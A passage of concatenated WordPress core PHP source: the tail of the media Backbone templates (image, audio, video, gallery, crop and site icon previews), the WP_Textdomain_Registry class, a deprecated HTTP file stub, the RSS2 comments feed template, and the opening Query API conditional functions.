						<label for="image-details-link-to-custom" class="name"><?php _e( 'URL' ); ?></label>
						<input type="text" id="image-details-link-to-custom" class="link-to-custom" data-setting="linkUrl" />
					</span>

					<div class="advanced-section">
						<h2><button type="button" class="button-link advanced-toggle"><?php _e( 'Advanced Options' ); ?></button></h2>
						<div class="advanced-settings hidden">
							<div class="advanced-image">
								<span class="setting title-text">
									<label for="image-details-title-attribute" class="name"><?php _e( 'Image Title Attribute' ); ?></label>
									<input type="text" id="image-details-title-attribute" data-setting="title" value="{{ data.model.title }}" />
								</span>
								<span class="setting extra-classes">
									<label for="image-details-css-class" class="name"><?php _e( 'Image CSS Class' ); ?></label>
									<input type="text" id="image-details-css-class" data-setting="extraClasses" value="{{ data.model.extraClasses }}" />
								</span>
							</div>
							<div class="advanced-link">
								<span class="setting link-target">
									<input type="checkbox" id="image-details-link-target" data-setting="linkTargetBlank" value="_blank" <# if ( data.model.linkTargetBlank ) { #>checked="checked"<# } #>>
									<label for="image-details-link-target" class="checkbox-label"><?php _e( 'Open link in a new tab' ); ?></label>
								</span>
								<span class="setting link-rel">
									<label for="image-details-link-rel" class="name"><?php _e( 'Link Rel' ); ?></label>
									<input type="text" id="image-details-link-rel" data-setting="linkRel" value="{{ data.model.linkRel }}" />
								</span>
								<span class="setting link-class-name">
									<label for="image-details-link-css-class" class="name"><?php _e( 'Link CSS Class' ); ?></label>
									<input type="text" id="image-details-link-css-class" data-setting="linkClassName" value="{{ data.model.linkClassName }}" />
								</span>
							</div>
						</div>
					</div>
				</div>
				<div class="column-image">
					<div class="image">
						<img src="{{ data.model.url }}" draggable="false" alt="" />
						<# if ( data.attachment && window.imageEdit ) { #>
							<div class="actions">
								<input type="button" class="edit-attachment button" value="<?php esc_attr_e( 'Edit Original' ); ?>" />
								<input type="button" class="replace-attachment button" value="<?php esc_attr_e( 'Replace' ); ?>" />
							</div>
						<# } #>
					</div>
				</div>
			</div>
		</div>
	</script>

	<?php // Template for the Image Editor layout. ?>
	<script type="text/html" id="tmpl-image-editor">
		<div id="media-head-{{ data.id }}"></div>
		<div id="image-editor-{{ data.id }}"></div>
	</script>

	<?php // Template for an embedded Audio details. ?>
	<script type="text/html" id="tmpl-audio-details">
		<# var ext, html5types = {
			mp3: wp.media.view.settings.embedMimes.mp3,
			ogg: wp.media.view.settings.embedMimes.ogg
		}; #>

		<?php $audio_types = wp_get_audio_extensions(); ?>
		<div class="media-embed media-embed-details">
			<div class="embed-media-settings embed-audio-settings">
				<?php wp_underscore_audio_template(); ?>

				<# if ( ! _.isEmpty( data.model.src ) ) {
					ext = data.model.src.split('.').pop();
					if ( html5types[ ext ] ) {
						delete html5types[ ext ];
					}
				#>
				<span class="setting">
					<label for="audio-details-source" class="name"><?php _e( 'URL' ); ?></label>
					<input type="text" id="audio-details-source" readonly data-setting="src" value="{{ data.model.src }}" />
					<button type="button" class="button-link remove-setting"><?php _e( 'Remove audio source' ); ?></button>
				</span>
				<# } #>
				<?php

				foreach ( $audio_types as $type ) :
					?>
				<# if ( ! _.isEmpty( data.model.<?php echo $type; ?> ) ) {
					if ( ! _.isUndefined( html5types.<?php echo $type; ?> ) ) {
						delete html5types.<?php echo $type; ?>;
					}
				#>
				<span class="setting">
					<label for="audio-details-<?php echo $type . '-source'; ?>" class="name"><?php echo strtoupper( $type ); ?></label>
					<input type="text" id="audio-details-<?php echo $type . '-source'; ?>" readonly data-setting="<?php echo $type; ?>" value="{{ data.model.<?php echo $type; ?> }}" />
					<button type="button" class="button-link remove-setting"><?php _e( 'Remove audio source' ); ?></button>
				</span>
				<# } #>
				<?php endforeach; ?>

				<# if ( ! _.isEmpty( html5types ) ) { #>
				<fieldset class="setting-group">
					<legend class="name"><?php _e( 'Add alternate sources for maximum HTML5 playback' ); ?></legend>
					<span class="setting">
						<span class="button-large">
						<# _.each( html5types, function (mime, type) { #>
							<button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button>
						<# } ) #>
						</span>
					</span>
				</fieldset>
				<# } #>

				<fieldset class="setting-group">
					<legend class="name"><?php _e( 'Preload' ); ?></legend>
					<span class="setting preload">
						<span class="button-group button-large" data-setting="preload">
							<button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button>
							<button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button>
							<button class="button active" value="none"><?php _e( 'None' ); ?></button>
						</span>
					</span>
				</fieldset>

				<span class="setting-group">
					<span class="setting checkbox-setting autoplay">
						<input type="checkbox" id="audio-details-autoplay" data-setting="autoplay" />
						<label for="audio-details-autoplay" class="checkbox-label"><?php _e( 'Autoplay' ); ?></label>
					</span>

					<span class="setting checkbox-setting">
						<input type="checkbox" id="audio-details-loop" data-setting="loop" />
						<label for="audio-details-loop" class="checkbox-label"><?php _e( 'Loop' ); ?></label>
					</span>
				</span>
			</div>
		</div>
	</script>

	<?php // Template for an embedded Video details. ?>
	<script type="text/html" id="tmpl-video-details">
		<# var ext, html5types = {
			mp4: wp.media.view.settings.embedMimes.mp4,
			ogv: wp.media.view.settings.embedMimes.ogv,
			webm: wp.media.view.settings.embedMimes.webm
		}; #>

		<?php $video_types = wp_get_video_extensions(); ?>
		<div class="media-embed media-embed-details">
			<div class="embed-media-settings embed-video-settings">
				<div class="wp-video-holder">
				<#
				var w = ! data.model.width || data.model.width > 640 ? 640 : data.model.width,
					h = ! data.model.height ? 360 : data.model.height;

				if ( data.model.width && w !== data.model.width ) {
					h = Math.ceil( ( h * w ) / data.model.width );
				}
				#>

				<?php wp_underscore_video_template(); ?>

				<# if ( ! _.isEmpty( data.model.src ) ) {
					ext = data.model.src.split('.').pop();
					if ( html5types[ ext ] ) {
						delete html5types[ ext ];
					}
				#>
				<span class="setting">
					<label for="video-details-source" class="name"><?php _e( 'URL' ); ?></label>
					<input type="text" id="video-details-source" readonly data-setting="src" value="{{ data.model.src }}" />
					<button type="button" class="button-link remove-setting"><?php _e( 'Remove video source' ); ?></button>
				</span>
				<# } #>
				<?php
				foreach ( $video_types as $type ) :
					?>
				<# if ( ! _.isEmpty( data.model.<?php echo $type; ?> ) ) {
					if ( ! _.isUndefined( html5types.<?php echo $type; ?> ) ) {
						delete html5types.<?php echo $type; ?>;
					}
				#>
				<span class="setting">
					<label for="video-details-<?php echo $type . '-source'; ?>" class="name"><?php echo strtoupper( $type ); ?></label>
					<input type="text" id="video-details-<?php echo $type . '-source'; ?>" readonly data-setting="<?php echo $type; ?>" value="{{ data.model.<?php echo $type; ?> }}" />
					<button type="button" class="button-link remove-setting"><?php _e( 'Remove video source' ); ?></button>
				</span>
				<# } #>
				<?php endforeach; ?>
				</div>

				<# if ( ! _.isEmpty( html5types ) ) { #>
				<fieldset class="setting-group">
					<legend class="name"><?php _e( 'Add alternate sources for maximum HTML5 playback' ); ?></legend>
					<span class="setting">
						<span class="button-large">
						<# _.each( html5types, function (mime, type) { #>
							<button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button>
						<# } ) #>
						</span>
					</span>
				</fieldset>
				<# } #>

				<# if ( ! _.isEmpty( data.model.poster ) ) { #>
				<span class="setting">
					<label for="video-details-poster-image" class="name"><?php _e( 'Poster Image' ); ?></label>
					<input type="text" id="video-details-poster-image" readonly data-setting="poster" value="{{ data.model.poster }}" />
					<button type="button" class="button-link remove-setting"><?php _e( 'Remove poster image' ); ?></button>
				</span>
				<# } #>

				<fieldset class="setting-group">
					<legend class="name"><?php _e( 'Preload' ); ?></legend>
					<span class="setting preload">
						<span class="button-group button-large" data-setting="preload">
							<button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button>
							<button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button>
							<button class="button active" value="none"><?php _e( 'None' ); ?></button>
						</span>
					</span>
				</fieldset>

				<span class="setting-group">
					<span class="setting checkbox-setting autoplay">
						<input type="checkbox" id="video-details-autoplay" data-setting="autoplay" />
						<label for="video-details-autoplay" class="checkbox-label"><?php _e( 'Autoplay' ); ?></label>
					</span>

					<span class="setting checkbox-setting">
						<input type="checkbox" id="video-details-loop" data-setting="loop" />
						<label for="video-details-loop" class="checkbox-label"><?php _e( 'Loop' ); ?></label>
					</span>
				</span>

				<span class="setting" data-setting="content">
					<#
					var content = '';
					if ( ! _.isEmpty( data.model.content ) ) {
						var tracks = jQuery( data.model.content ).filter( 'track' );
						_.each( tracks.toArray(), function( track, index ) {
							content += track.outerHTML; #>
						<label for="video-details-track-{{ index }}" class="name"><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></label>
						<input class="content-track" type="text" id="video-details-track-{{ index }}" aria-describedby="video-details-track-desc-{{ index }}" value="{{ track.outerHTML }}" />
						<span class="description" id="video-details-track-desc-{{ index }}">
						<?php
							printf(
								/* translators: 1: "srclang" HTML attribute, 2: "label" HTML attribute, 3: "kind" HTML attribute. */
								__( 'The %1$s, %2$s, and %3$s values can be edited to set the video track language and kind.' ),
								'srclang',
								'label',
								'kind'
							);
						?>
						</span>
						<button type="button" class="button-link remove-setting remove-track"><?php _ex( 'Remove video track', 'media' ); ?></button><br />
						<# } ); #>
					<# } else { #>
					<span class="name"><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></span><br />
					<em><?php _e( 'There are no associated subtitles.' ); ?></em>
					<# } #>
					<textarea class="hidden content-setting">{{ content }}</textarea>
				</span>
			</div>
		</div>
	</script>

	<?php // Template for a Gallery within the editor. ?>
	<script type="text/html" id="tmpl-editor-gallery">
		<# if ( data.attachments.length ) { #>
			<div class="gallery gallery-columns-{{ data.columns }}">
				<# _.each( data.attachments, function( attachment, index ) { #>
					<dl class="gallery-item">
						<dt class="gallery-icon">
							<# if ( attachment.thumbnail ) { #>
								<img src="{{ attachment.thumbnail.url }}" width="{{ attachment.thumbnail.width }}" height="{{ attachment.thumbnail.height }}" alt="{{ attachment.alt }}" />
							<# } else { #>
								<img src="{{ attachment.url }}" alt="{{ attachment.alt }}" />
							<# } #>
						</dt>
						<# if ( attachment.caption ) { #>
							<dd class="wp-caption-text gallery-caption">
								{{{ data.verifyHTML( attachment.caption ) }}}
							</dd>
						<# } #>
					</dl>
					<# if ( index % data.columns === data.columns - 1 ) { #>
						<br style="clear: both;" />
					<# } #>
				<# } ); #>
			</div>
		<# } else { #>
			<div class="wpview-error">
				<div class="dashicons dashicons-format-gallery"></div><p><?php _e( 'No items found.' ); ?></p>
			</div>
		<# } #>
	</script>

	<?php // Template for the Crop area layout, used for example in the Customizer. ?>
	<script type="text/html" id="tmpl-crop-content">
		<img class="crop-image" src="{{ data.url }}" alt="<?php esc_attr_e( 'Image crop area preview. Requires mouse interaction.' ); ?>" />
		<div class="upload-errors"></div>
	</script>

	<?php // Template for the Site Icon preview, used for example in the Customizer. ?>
	<script type="text/html" id="tmpl-site-icon-preview">
		<h2><?php _e( 'Preview' ); ?></h2>
		<strong aria-hidden="true"><?php _e( 'As a browser icon' ); ?></strong>
		<div class="favicon-preview">
			<img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" height="" alt="" />

			<div class="favicon">
				<img id="preview-favicon" src="{{ data.url }}" alt="<?php esc_attr_e( 'Preview as a browser icon' ); ?>" />
			</div>
			<span class="browser-title" aria-hidden="true"><# print( '<?php echo esc_js( get_bloginfo( 'name' ) ); ?>' ) #></span>
		</div>

		<strong aria-hidden="true"><?php _e( 'As an app icon' ); ?></strong>
		<div class="app-icon-preview">
			<img id="preview-app-icon" src="{{ data.url }}" alt="<?php esc_attr_e( 'Preview as an app icon' ); ?>" />
		</div>
	</script>

	<?php

	/**
	 * Fires when the custom Backbone media templates are printed.
	 *
	 * @since 3.5.0
	 */
	do_action( 'print_media_templates' );
}
<?php
/**
 * Locale API: WP_Textdomain_Registry class.
 *
 * This file uses rtrim() instead of untrailingslashit() and trailingslashit()
 * to avoid formatting.php dependency.
 *
 * @package WordPress
 * @subpackage i18n
 * @since 6.1.0
 */

/**
 * Core class used for registering text domains.
 *
 * @since 6.1.0
 */
#[AllowDynamicProperties]
class WP_Textdomain_Registry {
	/**
	 * List of domains and all their language directory paths for each locale.
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $all = array();

	/**
	 * List of domains and their language directory path for the current (most recent) locale.
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $current = array();

	/**
	 * List of domains and their custom language directory paths.
	 *
	 * @see load_plugin_textdomain()
	 * @see load_theme_textdomain()
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $custom_paths = array();

	/**
	 * Holds a cached list of available .mo files to improve performance.
	 *
	 * @since 6.1.0
	 * @since 6.5.0 This property is no longer used.
	 *
	 * @var array
	 *
	 * @deprecated
	 */
	protected $cached_mo_files = array();

	/**
	 * Holds a cached list of domains with translations to improve performance.
	 *
	 * @since 6.2.0
	 *
	 * @var string[]
	 */
	protected $domains_with_translations = array();

	/**
	 * Initializes the registry.
	 *
	 * Hooks into the {@see 'upgrader_process_complete'} filter
	 * to invalidate MO files caches.
	 *
	 * @since 6.5.0
	 */
	public function init() {
		add_action( 'upgrader_process_complete', array( $this, 'invalidate_mo_files_cache' ), 10, 2 );
	}

	/**
	 * Returns the languages directory path for a specific domain and locale.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @param string $locale Locale.
	 *
	 * @return string|false MO file path or false if there is none available.
	 */
	public function get( $domain, $locale ) {
		if ( isset( $this->all[ $domain ][ $locale ] ) ) {
			return $this->all[ $domain ][ $locale ];
		}

		return $this->get_path_from_lang_dir( $domain, $locale );
	}

	/**
	 * Determines whether any MO file paths are available for the domain.
	 *
	 * This is the case if a path has been set for the current locale,
	 * or if there is no information stored yet, in which case
	 * {@see _load_textdomain_just_in_time()} will fetch the information first.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @return bool Whether any MO file paths are available for the domain.
	 */
	public function has( $domain ) {
		return (
			isset( $this->current[ $domain ] ) ||
			empty( $this->all[ $domain ] ) ||
			in_array( $domain, $this->domains_with_translations, true )
		);
	}

	/**
	 * Sets the language directory path for a specific domain and locale.
	 *
	 * Also sets the 'current' property for direct access
	 * to the path for the current (most recent) locale.
	 *
	 * @since 6.1.0
	 *
	 * @param string       $domain Text domain.
	 * @param string       $locale Locale.
	 * @param string|false $path   Language directory path or false if there is none available.
	 */
	public function set( $domain, $locale, $path ) {
		$this->all[ $domain ][ $locale ] = $path ? rtrim( $path, '/' ) . '/' : false;
		$this->current[ $domain ]        = $this->all[ $domain ][ $locale ];
	}

	/**
	 * Sets the custom path to the plugin's/theme's languages directory.
	 *
	 * Used by {@see load_plugin_textdomain()} and {@see load_theme_textdomain()}.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @param string $path   Language directory path.
	 */
	public function set_custom_path( $domain, $path ) {
		$this->custom_paths[ $domain ] = rtrim( $path, '/' );
	}

	/**
	 * Retrieves translation files from the specified path.
	 *
	 * Allows early retrieval through the {@see 'pre_get_mo_files_from_path'} filter to optimize
	 * performance, especially in directories with many files.
	 *
	 * @since 6.5.0
	 *
	 * @param string $path The directory path to search for translation files.
	 * @return array Array of translation file paths. Can contain .mo and .l10n.php files.
	 */
	public function get_language_files_from_path( $path ) {
		$path = rtrim( $path, '/' ) . '/';

		/**
		 * Filters the translation files retrieved from a specified path before the actual lookup.
		 *
		 * Returning a non-null value from the filter will effectively short-circuit
		 * the MO files lookup, returning that value instead.
		 *
		 * This can be useful in situations where the directory contains a large number of files
		 * and the default glob() function becomes expensive in terms of performance.
		 *
		 * @since 6.5.0
		 *
		 * @param null|array $files List of translation files. Default null.
		 * @param string $path The path from which translation files are being fetched.
		 **/
		$files = apply_filters( 'pre_get_language_files_from_path', null, $path );

		if ( null !== $files ) {
			return $files;
		}

		$cache_key = md5( $path );
		$files     = wp_cache_get( $cache_key, 'translation_files' );

		if ( false === $files ) {
			$files = glob( $path . '*.mo' );
			if ( false === $files ) {
				$files = array();
			}

			$php_files = glob( $path . '*.l10n.php' );
			if ( is_array( $php_files ) ) {
				$files = array_merge( $files, $php_files );
			}

			wp_cache_set( $cache_key, $files, 'translation_files', HOUR_IN_SECONDS );
		}

		return $files;
	}

	/**
	 * Invalidate the cache for .mo files.
	 *
	 * This function deletes the cache entries related to .mo files when triggered
	 * by specific actions, such as the completion of an upgrade process.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Upgrader $upgrader   Unused. WP_Upgrader instance. In other contexts this might be a
	 *                                Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
	 * @param array       $hook_extra {
	 *     Array of bulk item update data.
	 *
	 *     @type string $action       Type of action. Default 'update'.
	 *     @type string $type         Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'.
	 *     @type bool   $bulk         Whether the update process is a bulk update. Default true.
	 *     @type array  $plugins      Array of the basename paths of the plugins' main files.
	 *     @type array  $themes       The theme slugs.
	 *     @type array  $translations {
	 *         Array of translations update data.
	 *
	 *         @type string $language The locale the translation is for.
	 *         @type string $type     Type of translation. Accepts 'plugin', 'theme', or 'core'.
	 *         @type string $slug     Text domain the translation is for. The slug of a theme/plugin or
	 *                                'default' for core translations.
	 *         @type string $version  The version of a theme, plugin, or core.
	 *     }
	 * }
	 */
	public function invalidate_mo_files_cache( $upgrader, $hook_extra ) {
		if (
			! isset( $hook_extra['type'] ) ||
			'translation' !== $hook_extra['type'] ||
			array() === $hook_extra['translations']
		) {
			return;
		}

		$translation_types = array_unique( wp_list_pluck( $hook_extra['translations'], 'type' ) );

		foreach ( $translation_types as $type ) {
			switch ( $type ) {
				case 'plugin':
					wp_cache_delete( md5( WP_LANG_DIR . '/plugins/' ), 'translation_files' );
					break;
				case 'theme':
					wp_cache_delete( md5( WP_LANG_DIR . '/themes/' ), 'translation_files' );
					break;
				default:
					wp_cache_delete( md5( WP_LANG_DIR . '/' ), 'translation_files' );
					break;
			}
		}
	}

	/**
	 * Returns possible language directory paths for a given text domain.
	 *
	 * @since 6.2.0
	 *
	 * @param string $domain Text domain.
	 * @return string[] Array of language directory paths.
	 */
	private function get_paths_for_domain( $domain ) {
		$locations = array(
			WP_LANG_DIR . '/plugins',
			WP_LANG_DIR . '/themes',
		);

		if ( isset( $this->custom_paths[ $domain ] ) ) {
			$locations[] = $this->custom_paths[ $domain ];
		}

		return $locations;
	}

	/**
	 * Gets the path to the language directory for the current domain and locale.
	 *
	 * Checks the plugins and themes language directories as well as any
	 * custom directory set via {@see load_plugin_textdomain()} or {@see load_theme_textdomain()}.
	 *
	 * @since 6.1.0
	 *
	 * @see _get_path_to_translation_from_lang_dir()
	 *
	 * @param string $domain Text domain.
	 * @param string $locale Locale.
	 * @return string|false Language directory path or false if there is none available.
	 */
	private function get_path_from_lang_dir( $domain, $locale ) {
		$locations = $this->get_paths_for_domain( $domain );

		$found_location = false;

		foreach ( $locations as $location ) {
			$files = $this->get_language_files_from_path( $location );

			$mo_path  = "$location/$domain-$locale.mo";
			$php_path = "$location/$domain-$locale.l10n.php";

			foreach ( $files as $file_path ) {
				if (
					! in_array( $domain, $this->domains_with_translations, true ) &&
					str_starts_with( str_replace( "$location/", '', $file_path ), "$domain-" )
				) {
					$this->domains_with_translations[] = $domain;
				}

				if ( $file_path === $mo_path || $file_path === $php_path ) {
					$found_location = rtrim( $location, '/' ) . '/';
					break 2;
				}
			}
		}

		if ( $found_location ) {
			$this->set( $domain, $locale, $found_location );

			return $found_location;
		}

		/*
		 * If no path is found for the given locale and a custom path has been set
		 * using load_plugin_textdomain/load_theme_textdomain, use that one.
		 */
		if ( 'en_US' !== $locale && isset( $this->custom_paths[ $domain ] ) ) {
			$fallback_location = rtrim( $this->custom_paths[ $domain ], '/' ) . '/';
			$this->set( $domain, $locale, $fallback_location );
			return $fallback_location;
		}

		$this->set( $domain, $locale, false );

		return false;
	}
}
<?php
/**
 * Core class used for managing HTTP transports and making HTTP requests.
 *
 * This file is deprecated, use 'wp-includes/class-wp-http.php' instead.
 *
 * @deprecated 5.9.0
 * @package WordPress
 */

_deprecated_file( basename( __FILE__ ), '5.9.0', WPINC . '/class-wp-http.php' );

/** WP_Http class */
require_once ABSPATH . WPINC . '/class-wp-http.php';
<?php
/**
 * RSS2 Feed Template for displaying RSS2 Comments feed.
 *
 * @package WordPress
 */

header( 'Content-Type: ' . feed_content_type( 'rss2' ) . '; charset=' . get_option( 'blog_charset' ), true );

echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>';

/** This action is documented in wp-includes/feed-rss2.php */
do_action( 'rss_tag_pre', 'rss2-comments' );
?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	<?php
	/** This action is documented in wp-includes/feed-rss2.php */
	do_action( 'rss2_ns' );
	?>

	<?php
	/**
	 * Fires at the end of the RSS root to add namespaces.
	 *
	 * @since 2.8.0
	 */
	do_action( 'rss2_comments_ns' );
	?>
>
<channel>
	<title>
	<?php
	if ( is_singular() ) {
		/* translators: Comments feed title. %s: Post title. */
		printf( ent2ncr( __( 'Comments on: %s' ) ), get_the_title_rss() );
	} elseif ( is_search() ) {
		/* translators: Comments feed title. 1: Site title, 2: Search query. */
		printf( ent2ncr( __( 'Comments for %1$s searching on %2$s' ) ), get_bloginfo_rss( 'name' ), get_search_query() );
	} else {
		/* translators: Comments feed title. %s: Site title. */
		printf( ent2ncr( __( 'Comments for %s' ) ), get_wp_title_rss() );
	}
	?>
	</title>
	<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
	<link><?php ( is_single() ) ? the_permalink_rss() : bloginfo_rss( 'url' ); ?></link>
	<description><?php bloginfo_rss( 'description' ); ?></description>
	<lastBuildDate><?php echo get_feed_build_date( 'r' ); ?></lastBuildDate>
	<sy:updatePeriod>
	<?php
		/** This filter is documented in wp-includes/feed-rss2.php */
		echo apply_filters( 'rss_update_period', 'hourly' );
	?>
	</sy:updatePeriod>
	<sy:updateFrequency>
	<?php
		/** This filter is documented in wp-includes/feed-rss2.php */
		echo apply_filters( 'rss_update_frequency', '1' );
	?>
	</sy:updateFrequency>
	<?php
	/**
	 * Fires at the end of the RSS2 comment feed header.
	 *
	 * @since 2.3.0
	 */
	do_action( 'commentsrss2_head' );

	while ( have_comments() ) :
		the_comment();
		$comment_post = get_post( $comment->comment_post_ID );
		/**
		 * @global WP_Post $post Global post object.
		 */
		$GLOBALS['post'] = $comment_post;
		?>
	<item>
		<title>
		<?php
		if ( ! is_singular() ) {
			$title = get_the_title( $comment_post->ID );
			/** This filter is documented in wp-includes/feed.php */
			$title = apply_filters( 'the_title_rss', $title );
			/* translators: Individual comment title. 1: Post title, 2: Comment author name. */
			printf( ent2ncr( __( 'Comment on %1$s by %2$s' ) ), $title, get_comment_author_rss() );
		} else {
			/* translators: Comment author title. %s: Comment author name. */
			printf( ent2ncr( __( 'By: %s' ) ), get_comment_author_rss() );
		}
		?>
		</title>
		<link><?php comment_link(); ?></link>

		<dc:creator><![CDATA[<?php echo get_comment_author_rss(); ?>]]></dc:creator>
		<pubDate><?php echo mysql2date( 'D, d M Y H:i:s +0000', get_comment_time( 'Y-m-d H:i:s', true, false ), false ); ?></pubDate>
		<guid isPermaLink="false"><?php comment_guid(); ?></guid>

		<?php if ( post_password_required( $comment_post ) ) : ?>
			<description><?php echo ent2ncr( __( 'Protected Comments: Please enter your password to view comments.' ) ); ?></description>
			<content:encoded><![CDATA[<?php echo get_the_password_form(); ?>]]></content:encoded>
		<?php else : ?>
			<description><![CDATA[<?php comment_text_rss(); ?>]]></description>
			<content:encoded><![CDATA[<?php comment_text(); ?>]]></content:encoded>
		<?php endif; // End if post_password_required(). ?>

		<?php
		/**
		 * Fires at the end of each RSS2 comment feed item.
		 *
		 * @since 2.1.0
		 *
		 * @param int $comment_id      The ID of the comment being displayed.
		 * @param int $comment_post_id The ID of the post the comment is connected to.
		 */
		do_action( 'commentrss2_item', $comment->comment_ID, $comment_post->ID );
		?>
	</item>
	<?php endwhile; ?>
</channel>
</rss>
<?php
/**
 * WordPress Query API
 *
 * The query API attempts to get which part of WordPress the user is on. It
 * also provides functionality for getting URL query information.
 *
 * @link https://developer.wordpress.org/themes/basics/the-loop/ More information on The Loop.
 *
 * @package WordPress
 * @subpackage Query
 */

/**
 * Retrieves the value of a query variable in the WP_Query class.
 *
 * @since 1.5.0
 * @since 3.9.0 The `$default_value` argument was introduced.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $query_var     The variable key to retrieve.
 * @param mixed  $default_value Optional. Value to return if the query variable is not set.
 *                              Default empty string.
 * @return mixed Contents of the query variable.
 */
function get_query_var( $query_var, $default_value = '' ) {
	global $wp_query;
	return $wp_query->get( $query_var, $default_value );
}

/**
 * Retrieves the currently queried object.
 *
 * Wrapper for WP_Query::get_queried_object().
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return WP_Term|WP_Post_Type|WP_Post|WP_User|null The queried object.
 */
function get_queried_object() {
	global $wp_query;
	return $wp_query->get_queried_object();
}

/**
 * Retrieves the ID of the currently queried object.
 *
 * Wrapper for WP_Query::get_queried_object_id().
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return int ID of the queried object.
 */
function get_queried_object_id() {
	global $wp_query;
	return $wp_query->get_queried_object_id();
}

/**
 * Sets the value of a query variable in the WP_Query class.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $query_var Query variable key.
 * @param mixed  $value     Query variable value.
 */
function set_query_var( $query_var, $value ) {
	global $wp_query;
	$wp_query->set( $query_var, $value );
}

/**
 * Sets up The Loop with query parameters.
 *
 * Note: This function will completely override the main query and isn't intended for use
 * by plugins or themes. Its overly-simplistic approach to modifying the main query can be
 * problematic and should be avoided wherever possible. In most cases, there are better,
 * more performant options for modifying the main query such as via the {@see 'pre_get_posts'}
 * action within WP_Query.
 *
 * This must not be used within the WordPress Loop.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array|string $query Array or string of WP_Query arguments.
 * @return WP_Post[]|int[] Array of post objects or post IDs.
 */
function query_posts( $query ) {
	$GLOBALS['wp_query'] = new WP_Query();
	return $GLOBALS['wp_query']->query( $query );
}

/**
 * Destroys the previous query and sets up a new query.
 *
 * This should be used after query_posts() and before another query_posts().
 * This will remove obscure bugs that occur when the previous WP_Query object
 * is not destroyed properly before another is set up.
 *
 * @since 2.3.0
 *
 * @global WP_Query $wp_query     WordPress Query object.
 * @global WP_Query $wp_the_query Copy of the global WP_Query instance created during wp_reset_query().
 */
function wp_reset_query() {
	$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
	wp_reset_postdata();
}

/**
 * After looping through a separate query, this function restores
 * the $post global to the current post in the main query.
 *
 * @since 3.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function wp_reset_postdata() {
	global $wp_query;

	if ( isset( $wp_query ) ) {
		$wp_query->reset_postdata();
	}
}

/*
 * Query type checks.
 */

/**
 * Determines whether the query is for an existing archive page.
 *
 * Archive pages include category, tag, author, date, custom post type,
 * and custom taxonomy based archives.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_category()
 * @see is_tag()
 * @see is_author()
 * @see is_date()
 * @see is_post_type_archive()
 * @see is_tax()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing archive page.
 */
function is_archive() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_archive();
}

/**
 * Determines whether the query is for an existing post type archive page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $post_types Optional. Post type or array of posts types
 *                                    to check against. Default empty.
 * @return bool Whether the query is for an existing post type archive page.
 */
function is_post_type_archive( $post_types = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_post_type_archive( $post_types );
}

/**
 * Determines whether the query is for an existing attachment page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $attachment Optional. Attachment ID, title, slug, or array of such
 *                                              to check against. Default empty.
 * @return bool Whether the query is for an existing attachment page.
 */
function is_attachment( $attachment = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_attachment( $attachment );
}

/**
 * Determines whether the query is for an existing author archive page.
 *
 * If the $author parameter is specified, this function will additionally
 * check if the query is for one of the authors specified.
 *
 * For more information on this and similar theme functions, check out
